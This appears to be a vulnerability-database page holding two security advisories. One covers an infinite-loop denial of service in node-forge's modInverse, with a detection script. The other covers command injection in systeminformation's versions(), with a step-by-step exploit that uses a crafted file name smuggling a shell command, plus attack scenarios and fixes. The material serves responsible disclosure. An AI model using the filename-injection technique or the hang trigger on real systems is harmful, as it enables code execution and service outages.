{
"fixed": "1.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33891"
],
"database_specific": {
"cwe_ids": [
"CWE-835"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-26T21:57:48Z",
"nvd_published_at": "2026-03-27T21:17:25Z",
"severity": "HIGH"
},
"details": "## Summary\n\nA Denial of Service (DoS) vulnerability exists in the node-forge library due to an infinite loop in the BigInteger.modInverse() function (inherited from the bundled jsbn library). When modInverse() is called with a zero value as input, the internal Extended Euclidean Algorithm enters an unreachable exit condition, causing the process to hang indefinitely and consume 100% CPU.\nAffected Package\n\nPackage name: node-forge (npm: node-forge)\nRepository: https://github.com/digitalbazaar/forge\nAffected versions: All versions (including latest)\nAffected file: lib/jsbn.js, function bnModInverse()\nRoot cause component: Bundled copy of the jsbn (JavaScript Big Number) library\n\n## Vulnerability Details\n\nType: Denial of Service (DoS)\nCWE: CWE-835 (Loop with Unreachable Exit Condition)\nAttack vector: Network (if the application processes untrusted input that reaches modInverse)\nPrivileges required: None\nUser interaction: None\nImpact: Availability (process hangs indefinitely)\nSuggested CVSS v3.1 score: 5.3\u20137.5 (depending on the context of usage)\n\n## Root Cause Analysis\n\nThe BigInteger.prototype.modInverse(m) function in lib/jsbn.js implements the Extended Euclidean Algorithm to compute the modular multiplicative inverse of this modulo m.\nMathematically, the modular inverse of 0 does not exist \u2014 gcd(0, m) = m \u2260 1 for any m \u003e 1. However, the implementation does not check whether the input value is zero before entering the algorithm\u0027s main loop. When this equals 0, the algorithm\u0027s loop condition is never satisfied for termination, resulting in an infinite loop.\nThe relevant code path in lib/jsbn.js:\n```js\njavascriptfunction bnModInverse(m) {\n // ... setup ...\n // No check for this == 0\n // Enters Extended Euclidean Algorithm loop that never terminates when this == 0\n}\n```\n\n## Attack Scenario\n\nAny application using node-forge that passes attacker-controlled or untrusted input to a code path involving modInverse() is vulnerable. Potential attack surfaces include:\n\nDSA/ECDSA signature verification \u2014 A crafted signature with s = 0 would trigger s.modInverse(q), causing the verifier to hang.\nCustom RSA or Diffie-Hellman implementations \u2014 Applications performing modular arithmetic with user-supplied parameters.\nAny cryptographic protocol where an attacker can influence a value that is subsequently passed to modInverse().\n\nA single malicious request can cause the Node.js event loop to block indefinitely, rendering the entire application unresponsive.\n\n## Proof of Concept\n\nEnvironment Setup\n```bash\nmkdir forge-poc \u0026\u0026 cd forge-poc\nnpm init -y\nnpm install node-forge\n```\nReproduction (poc.js)\nA single script that safely detects the vulnerability using a child process with timeout. The parent process is never at risk of hanging.\n```bash\nmkdir forge-poc \u0026\u0026 cd forge-poc\nnpm init -y\nnpm install node-forge\n# Save the script below as poc.js, then run:\nnode poc.js\n```\n```javascript\n\u0027use strict\u0027;\nconst { spawnSync } = require(\u0027child_process\u0027);\n\nconst childCode = `\n const forge = require(\u0027node-forge\u0027);\n // jsbn may not be auto-loaded; try explicit require if needed\n if (!forge.jsbn) {\n try { require(\u0027node-forge/lib/jsbn\u0027); } catch(e) {}\n }\n if (!forge.jsbn || !forge.jsbn.BigInteger) {\n console.error(\u0027ERROR: forge.jsbn.BigInteger not available\u0027);\n process.exit(2);\n }\n const BigInteger = forge.jsbn.BigInteger;\n const zero = new BigInteger(\u00270\u0027, 10);\n const mod = new BigInteger(\u00273\u0027, 10);\n // This call should throw or return 0, but instead loops forever\n const inv = zero.modInverse(mod);\n console.log(\u0027returned: \u0027 + inv.toString());\n`;\n\nconsole.log(\u0027[*] Testing: BigInteger(0).modInverse(3)\u0027);\nconsole.log(\u0027[*] Expected: throw an error or return quickly\u0027);\nconsole.log(\u0027[*] Spawning child process with 5s timeout...\u0027);\nconsole.log();\n\nconst result = spawnSync(process.execPath, [\u0027-e\u0027, childCode], {\n encoding: \u0027utf8\u0027,\n timeout: 5000,\n});\n\nif (result.error \u0026\u0026 result.error.code === \u0027ETIMEDOUT\u0027) {\n console.log(\u0027[VULNERABLE] Child process timed out after 5s\u0027);\n console.log(\u0027 -\u003e modInverse(0, 3) entered an infinite loop (DoS confirmed)\u0027);\n process.exit(0);\n}\n\nif (result.status === 2) {\n console.log(\u0027[ERROR] Could not access BigInteger:\u0027, result.stderr.trim());\n console.log(\u0027 -\u003e Check your node-forge installation\u0027);\n process.exit(1);\n}\n\nif (result.status === 0) {\n console.log(\u0027[NOT VULNERABLE] modInverse returned:\u0027, result.stdout.trim());\n process.exit(1);\n}\n\nconsole.log(\u0027[NOT VULNERABLE] Child exited with error (status \u0027 + result.status + \u0027)\u0027);\nif (result.stderr) console.log(\u0027 stderr:\u0027, result.stderr.trim());\nprocess.exit(1);\n```\nExpected Output\n```\n[*] Testing: BigInteger(0).modInverse(3)\n[*] Expected: throw an error or return quickly\n[*] Spawning child process with 5s timeout...\n\n[VULNERABLE] Child process timed out after 5s\n -\u003e modInverse(0, 3) entered an infinite loop (DoS confirmed)\nVerified On\n```\n\nnode-forge v1.3.1 (latest at time of writing)\nNode.js v18.x / v20.x / v22.x\nmacOS / Linux / Windows\n\n## Impact\n\nAvailability: An attacker can cause a complete Denial of Service by sending a single crafted input that reaches the modInverse() code path. The Node.js process will hang indefinitely, blocking the event loop and making the application unresponsive to all subsequent requests.\nScope: node-forge is a widely used cryptographic library with millions of weekly downloads on npm. Any application that processes untrusted cryptographic parameters through node-forge may be affected.\n\n## Suggested Fix\n\nAdd a zero-value check at the entry of bnModInverse() in lib/jsbn.js:\n```javascript\nfunction bnModInverse(m) {\n var ac = m.isEven();\n // Add this check:\n if (this.signum() == 0) {\n throw new Error(\u0027BigInteger has no modular inverse: input is zero\u0027);\n }\n // ... rest of the existing implementation ...\n}\n```\nAlternatively, return BigInteger.ZERO if that behavior is preferred, though throwing an error is more mathematically correct and consistent with other BigInteger implementations (e.g., Java\u0027s BigInteger.modInverse() throws ArithmeticException).",
"id": "GHSA-5m6q-g25r-mvwx",
"modified": "2026-03-27T21:50:24Z",
"published": "2026-03-26T21:57:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/digitalbazaar/forge/security/advisories/GHSA-5m6q-g25r-mvwx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33891"
},
{
"type": "WEB",
"url": "https://github.com/digitalbazaar/forge/commit/9bb8d67b99d17e4ebb5fd7596cd699e11f25d023"
},
{
"type": "PACKAGE",
"url": "https://github.com/digitalbazaar/forge"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Forge has Denial of Service via Infinite Loop in BigInteger.modInverse() with Zero Input"
}
GHSA-5VV4-HVF7-2H46
Vulnerability from github – Published: 2026-02-18 22:36 – Updated: 2026-02-19 21:57Command Injection via Unsanitized locate Output in versions() — systeminformation
Package: systeminformation (npm)
Tested Version: 5.30.7
Affected Platform: Linux
Author: Sebastian Hildebrandt
Weekly Downloads: ~5,000,000+
Repository: https://github.com/sebhildebrandt/systeminformation
Severity: Medium
CWE: CWE-78 (OS Command Injection)
The Vulnerable Code Path
Inside the versions() function, when detecting the PostgreSQL version on Linux, the code does this:
// lib/osinfo.js — lines 770-776
exec('locate bin/postgres', (error, stdout) => {
if (!error) {
const postgresqlBin = stdout.toString().split('\n').sort();
if (postgresqlBin.length) {
exec(postgresqlBin[postgresqlBin.length - 1] + ' -V', (error, stdout) => {
// parses version string...
});
}
}
});
Here's what happens step by step:
- It runs
locate bin/postgresto search the filesystem for PostgreSQL binaries - It splits the output by newline and sorts the results alphabetically
- It takes the last element (highest alphabetically)
- It concatenates that path directly into a new
exec()call with+ ' -V'
No sanitizeShellString(). No path validation. No execFile(). Raw string concatenation into exec().
The locate command reads from a system-wide database (plocate.db or mlocate.db) that indexes all filenames on the system. If any indexed filename contains shell metacharacters — specifically semicolons — those characters will be interpreted by the shell when passed to exec().
Exploitation
Prerequisites
For this vulnerability to be exploitable, the following conditions must be met:
- Target system runs Linux — the vulnerable code path is inside an
if (_linux)block locate/plocateis installed — common on Ubuntu, Debian, Fedora, RHEL- PostgreSQL binary exists in the locate database — so
locate bin/postgresreturns results (otherwise the code falls through to a safepsql -Vfallback) - The attacker can create files on the filesystem — in any directory that gets indexed by
updatedb - The locate database gets updated —
updatedbruns daily via systemd timer (plocate-updatedb.timer) or cron on most distros
Step 1 — Verify the Environment
On the target machine, confirm locate is available and running:
which locate
# /usr/bin/locate
systemctl list-timers | grep plocate
# plocate-updatedb.timer plocate-updatedb.service
# (runs daily, typically around 1-2 AM)
Check who owns the locate database:
ls -la /var/lib/plocate/plocate.db
# -rw-r----- 1 root plocate 18851616 Feb 14 01:50 /var/lib/plocate/plocate.db
Database is root-owned and updated by root. Regular users cannot update it directly, but updatedb runs on a daily schedule and indexes all readable files.
Step 2 — Craft the Malicious File Path
The key insight is that Linux allows semicolons in filenames, and exec() passes strings through /bin/sh -c which interprets semicolons as command separators.
Create a file whose path contains an injected command:
mkdir -p "/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin"
touch "/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres"
Verify it exists:
find /var/tmp -name postgres
# /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres
This file needs to end up in the locate database. On a real system, this happens automatically when updatedb runs overnight. For testing purposes:
sudo updatedb
Then verify locate picks it up:
locate bin/postgres
# /usr/lib/postgresql/14/bin/postgres
# /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres
Step 3 — Understand the Sort Trick
The vulnerable code sorts the locate results alphabetically and takes the last element:
const postgresqlBin = stdout.toString().split('\n').sort();
exec(postgresqlBin[postgresqlBin.length - 1] + ' -V', ...);
Alphabetically, /var/ sorts after /usr/. So our malicious path naturally becomes the selected one:
Node.js sort order:
[0] /usr/lib/postgresql/14/bin/postgres ← legitimate
[1] /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres ← selected (last)
Quick verification:
node -e "
const paths = [
'/usr/lib/postgresql/14/bin/postgres',
'/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres'
];
console.log('Sorted:', paths.sort());
console.log('Selected (last):', paths[paths.length - 1]);
"
Output:
Sorted: [
'/usr/lib/postgresql/14/bin/postgres',
'/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres'
]
Selected (last): /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres
Step 4 — Trigger the Vulnerability
Now when any application using systeminformation calls versions() requesting the postgresql version, the injected command fires:
const si = require('systeminformation');
// This is a normal, innocent API call
si.versions('postgresql').then(data => {
console.log(data);
});
Internally, the library builds and executes this command:
/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres -V
The shell (/bin/sh -c) interprets this as three separate commands:
/var/tmp/x → fails silently (not executable)
touch /tmp/SI_RCE_PROOF → ATTACKER'S COMMAND EXECUTES
/bin/postgres -V → runs normally, returns version
Step 5 — Verify Code Execution
ls -la /tmp/SI_RCE_PROOF
# -rw-rw-r-- 1 appuser appuser 0 Feb 14 15:30 /tmp/SI_RCE_PROOF
The file exists. Arbitrary command execution confirmed.
The injected command runs with whatever privileges the Node.js process has. In a monitoring dashboard or backend API context, that's typically the application service account.
Real-World Attack Scenarios
Scenario 1 — Shared Hosting / Multi-Tenant Server
A low-privileged user on a shared server creates the malicious file in /tmp or their home directory. The hosting provider runs a monitoring agent that uses systeminformation for health dashboards. Next time the agent calls versions(), the attacker's command executes under the monitoring agent's (higher-privileged) service account.
Scenario 2 — CI/CD Pipeline Poisoning
A malicious contributor submits a PR that includes a build step creating files with crafted names. If the CI pipeline uses systeminformation for environment reporting (common in test harnesses and build dashboards), the injected commands execute in the CI runner context — potentially leaking secrets, tokens, and deployment keys.
Scenario 3 — Container / Kubernetes Escape
In containerized environments where /var or /tmp sits on a shared volume, a compromised container creates the malicious file. When the host-level monitoring agent (running systeminformation) calls versions(), the injected command executes on the host, breaking out of the container boundary.
Suggested Fix
Replace exec() with execFile() for the PostgreSQL binary version check. execFile() does not spawn a shell, so metacharacters in the path are treated as literal characters:
const { execFile } = require('child_process');
exec('locate bin/postgres', (error, stdout) => {
if (!error) {
const postgresqlBin = stdout.toString().split('\n')
.filter(p => p.trim().length > 0)
.sort();
if (postgresqlBin.length) {
execFile(postgresqlBin[postgresqlBin.length - 1], ['-V'], (error, stdout) => {
// ... parse version
});
}
}
});
Additionally, the locate output should be validated against a safe path pattern before use:
const safePath = /^[a-zA-Z0-9/_.-]+$/;
const postgresqlBin = stdout.toString().split('\n')
.filter(p => safePath.test(p.trim()))
.sort();
Disclosure
- Reported via: GitHub Private Security Advisory
- Advisory URL: https://github.com/sebhildebrandt/systeminformation/security/advisories/new
- Security Contact: security@systeminformation.io
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.30.7"
},
"package": {
"ecosystem": "npm",
"name": "systeminformation"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.31.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-26318"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-18T22:36:50Z",
"nvd_published_at": "2026-02-19T20:25:44Z",
"severity": "HIGH"
},
"details": "# Command Injection via Unsanitized `locate` Output in `versions()` \u2014 systeminformation\n\n**Package:** systeminformation (npm) \n**Tested Version:** 5.30.7 \n**Affected Platform:** Linux \n**Author:** Sebastian Hildebrandt \n**Weekly Downloads:** ~5,000,000+ \n**Repository:** https://github.com/sebhildebrandt/systeminformation \n**Severity:** Medium \n**CWE:** CWE-78 (OS Command Injection) \n\n---\n\n### The Vulnerable Code Path\n\nInside the `versions()` function, when detecting the PostgreSQL version on Linux, the code does this:\n\n```javascript\n// lib/osinfo.js \u2014 lines 770-776\n\nexec(\u0027locate bin/postgres\u0027, (error, stdout) =\u003e {\n if (!error) {\n const postgresqlBin = stdout.toString().split(\u0027\\n\u0027).sort();\n if (postgresqlBin.length) {\n exec(postgresqlBin[postgresqlBin.length - 1] + \u0027 -V\u0027, (error, stdout) =\u003e {\n // parses version string...\n });\n }\n }\n});\n```\n\nHere\u0027s what happens step by step:\n\n1. It runs `locate bin/postgres` to search the filesystem for PostgreSQL binaries\n2. It splits the output by newline and sorts the results alphabetically\n3. It takes the **last element** (highest alphabetically)\n4. It concatenates that path directly into a new `exec()` call with `+ \u0027 -V\u0027`\n\n**No `sanitizeShellString()`. No path validation. No `execFile()`. Raw string concatenation into `exec()`.**\n\nThe `locate` command reads from a system-wide database (`plocate.db` or `mlocate.db`) that indexes all filenames on the system. If any indexed filename contains shell metacharacters \u2014 specifically semicolons \u2014 those characters will be interpreted by the shell when passed to `exec()`.\n\n---\n\n## Exploitation\n\n### Prerequisites\n\nFor this vulnerability to be exploitable, the following conditions must be met:\n\n1. **Target system runs Linux** \u2014 the vulnerable code path is inside an `if (_linux)` block\n2. **`locate` / `plocate` is installed** \u2014 common on Ubuntu, Debian, Fedora, RHEL\n3. **PostgreSQL binary exists in the locate database** \u2014 so `locate bin/postgres` returns results (otherwise the code falls through to a safe `psql -V` fallback)\n4. **The attacker can create files on the filesystem** \u2014 in any directory that gets indexed by `updatedb`\n5. **The locate database gets updated** \u2014 `updatedb` runs daily via systemd timer (`plocate-updatedb.timer`) or cron on most distros\n\n### Step 1 \u2014 Verify the Environment\n\nOn the target machine, confirm locate is available and running:\n\n```\nwhich locate\n# /usr/bin/locate\n\nsystemctl list-timers | grep plocate\n# plocate-updatedb.timer plocate-updatedb.service\n# (runs daily, typically around 1-2 AM)\n```\n\nCheck who owns the locate database:\n\n```\nls -la /var/lib/plocate/plocate.db\n# -rw-r----- 1 root plocate 18851616 Feb 14 01:50 /var/lib/plocate/plocate.db\n```\n\nDatabase is root-owned and updated by root. Regular users cannot update it directly, but `updatedb` runs on a daily schedule and indexes all readable files.\n\n### Step 2 \u2014 Craft the Malicious File Path\n\nThe key insight is that **Linux allows semicolons in filenames**, and `exec()` passes strings through `/bin/sh -c` which **interprets semicolons as command separators**.\n\nCreate a file whose path contains an injected command:\n\n```\nmkdir -p \"/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin\"\ntouch \"/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres\"\n```\n\nVerify it exists:\n\n```\nfind /var/tmp -name postgres\n# /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres\n```\n\nThis file needs to end up in the `locate` database. On a real system, this happens automatically when `updatedb` runs overnight. For testing purposes:\n\n```\nsudo updatedb\n```\n\nThen verify locate picks it up:\n\n```\nlocate bin/postgres\n# /usr/lib/postgresql/14/bin/postgres\n# /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres\n```\n\n### Step 3 \u2014 Understand the Sort Trick\n\nThe vulnerable code sorts the locate results alphabetically and takes the **last** element:\n\n```javascript\nconst postgresqlBin = stdout.toString().split(\u0027\\n\u0027).sort();\nexec(postgresqlBin[postgresqlBin.length - 1] + \u0027 -V\u0027, ...);\n```\n\nAlphabetically, `/var/` sorts **after** `/usr/`. So our malicious path naturally becomes the selected one:\n\n```\nNode.js sort order:\n [0] /usr/lib/postgresql/14/bin/postgres \u2190 legitimate\n [1] /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres \u2190 selected (last)\n```\n\nQuick verification:\n\n```\nnode -e \"\nconst paths = [\n \u0027/usr/lib/postgresql/14/bin/postgres\u0027,\n \u0027/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres\u0027\n];\nconsole.log(\u0027Sorted:\u0027, paths.sort());\nconsole.log(\u0027Selected (last):\u0027, paths[paths.length - 1]);\n\"\n```\n\nOutput:\n\n```\nSorted: [\n \u0027/usr/lib/postgresql/14/bin/postgres\u0027,\n \u0027/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres\u0027\n]\nSelected (last): /var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres\n```\n\n### Step 4 \u2014 Trigger the Vulnerability\n\nNow when any application using systeminformation calls `versions()` requesting the postgresql version, the injected command fires:\n\n```javascript\nconst si = require(\u0027systeminformation\u0027);\n\n// This is a normal, innocent API call\nsi.versions(\u0027postgresql\u0027).then(data =\u003e {\n console.log(data);\n});\n```\n\nInternally, the library builds and executes this command:\n\n```\n/var/tmp/x;touch /tmp/SI_RCE_PROOF;/bin/postgres -V\n```\n\nThe shell (`/bin/sh -c`) interprets this as three separate commands:\n\n```\n/var/tmp/x \u2192 fails silently (not executable)\ntouch /tmp/SI_RCE_PROOF \u2192 ATTACKER\u0027S COMMAND EXECUTES\n/bin/postgres -V \u2192 runs normally, returns version\n```\n\n### Step 5 \u2014 Verify Code Execution\n\n```\nls -la /tmp/SI_RCE_PROOF\n# -rw-rw-r-- 1 appuser appuser 0 Feb 14 15:30 /tmp/SI_RCE_PROOF\n```\n\nThe file exists. Arbitrary command execution confirmed.\n\nThe injected command runs with **whatever privileges the Node.js process has**. In a monitoring dashboard or backend API context, that\u0027s typically the application service account.\n\n---\n\n## Real-World Attack Scenarios\n\n### Scenario 1 \u2014 Shared Hosting / Multi-Tenant Server\n\nA low-privileged user on a shared server creates the malicious file in `/tmp` or their home directory. The hosting provider runs a monitoring agent that uses `systeminformation` for health dashboards. Next time the agent calls `versions()`, the attacker\u0027s command executes under the monitoring agent\u0027s (higher-privileged) service account.\n\n### Scenario 2 \u2014 CI/CD Pipeline Poisoning\n\nA malicious contributor submits a PR that includes a build step creating files with crafted names. If the CI pipeline uses `systeminformation` for environment reporting (common in test harnesses and build dashboards), the injected commands execute in the CI runner context \u2014 potentially leaking secrets, tokens, and deployment keys.\n\n### Scenario 3 \u2014 Container / Kubernetes Escape\n\nIn containerized environments where `/var` or `/tmp` sits on a shared volume, a compromised container creates the malicious file. When the host-level monitoring agent (running `systeminformation`) calls `versions()`, the injected command executes on the host, breaking out of the container boundary.\n\n---\n\n## Suggested Fix\n\nReplace `exec()` with `execFile()` for the PostgreSQL binary version check. `execFile()` does not spawn a shell, so metacharacters in the path are treated as literal characters:\n\n```javascript\nconst { execFile } = require(\u0027child_process\u0027);\n\nexec(\u0027locate bin/postgres\u0027, (error, stdout) =\u003e {\n if (!error) {\n const postgresqlBin = stdout.toString().split(\u0027\\n\u0027)\n .filter(p =\u003e p.trim().length \u003e 0)\n .sort();\n if (postgresqlBin.length) {\n execFile(postgresqlBin[postgresqlBin.length - 1], [\u0027-V\u0027], (error, stdout) =\u003e {\n // ... parse version\n });\n }\n }\n});\n```\n\nAdditionally, the locate output should be validated against a safe path pattern before use:\n\n```javascript\nconst safePath = /^[a-zA-Z0-9/_.-]+$/;\nconst postgresqlBin = stdout.toString().split(\u0027\\n\u0027)\n .filter(p =\u003e safePath.test(p.trim()))\n .sort();\n```\n\n---\n\n## Disclosure\n\n- **Reported via:** GitHub Private Security Advisory\n- **Advisory URL:** https://github.com/sebhildebrandt/systeminformation/security/advisories/new\n- **Security Contact:** security@systeminformation.io",
"id": "GHSA-5vv4-hvf7-2h46",
"modified": "2026-02-19T21:57:18Z",
"published": "2026-02-18T22:36:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-5vv4-hvf7-2h46"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26318"
},
{
"type": "WEB",
"url": "https://github.com/sebhildebrandt/systeminformation/commit/b67d3715eec881038ccbaace2f2711419ac3e107"
},
{
"type": "PACKAGE",
"url": "https://github.com/sebhildebrandt/systeminformation"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Command Injection via Unsanitized `locate` Output in `versions()` \u2014 systeminformation"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.